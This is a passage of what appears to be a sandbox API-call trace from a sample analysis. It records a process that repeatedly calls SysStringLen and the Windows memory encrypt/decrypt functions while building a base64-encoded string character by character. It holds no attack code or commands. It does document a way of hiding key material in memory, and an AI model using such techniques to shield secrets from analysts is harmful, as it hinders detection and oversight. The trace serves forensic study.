OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.228] SysStringLen (param_1="YWM1OT") returned 0x8 [0127.228] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.228] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0127.228] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0127.228] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.228] SysStringLen (param_1="YWM1OTE") returned 0x8 [0127.228] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.228] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0127.228] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0127.228] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.228] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0127.228] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.228] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0127.228] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0127.228] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0127.228] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0127.228] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.228] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0127.228] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.228] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0127.228] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0127.228] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.229] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0127.229] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.229] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0127.229] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0127.229] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.229] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0127.229] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.229] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0127.229] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0127.229] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.229] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0127.229] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.229] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0127.229] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0127.229] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.229] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0127.229] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.229] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0127.229] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0127.229] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.230] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0127.230] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.230] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0127.230] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0127.230] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.230] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0127.230] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.230] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0127.230] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0127.230] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.230] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0127.230] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.230] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0127.230] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0127.230] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0127.230] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0127.230] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.230] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0127.231] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.231] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0127.231] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0127.231] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.231] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0127.231] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.231] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0127.231] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0127.231] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.231] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0127.231] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.231] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0127.231] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0127.231] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.231] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0127.231] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.231] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0127.231] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0127.231] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.232] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0127.232] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.232] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0127.232] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0127.232] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.232] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0127.232] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.232] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0127.232] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0127.232] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.232] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0127.232] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.232] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0127.232] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0127.232] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.232] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0127.232] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0127.233] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0127.233] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0127.233] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0127.233] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0127.233] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.233] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0127.233] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.233] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0127.233] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0127.233] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.233] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0127.233] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.233] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0127.233] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0127.233] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.233] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0127.233] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.234] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0127.234] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0127.234] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.234] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0127.234] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.234] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0127.234] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0127.234] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.234] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0127.234] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.234] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0127.234] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0127.234] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.234] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0127.234] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.234] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0127.234] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0127.234] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.235] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0127.235] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.235] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0127.235] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0127.235] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.235] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0127.235] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.235] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0127.235] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0127.235] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0127.235] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0127.235] SystemFunction041 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.235] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0127.235] SystemFunction040 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.235] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0127.235] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0127.235] SystemFunction041 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.236] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0127.236] SystemFunction040 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.236] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0127.236] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0127.236] SystemFunction041 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.236] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0127.236] SystemFunction040 (in: Memory=0x8e6f754, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f754) returned 0x0 [0127.236] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0127.236] SysStringLen 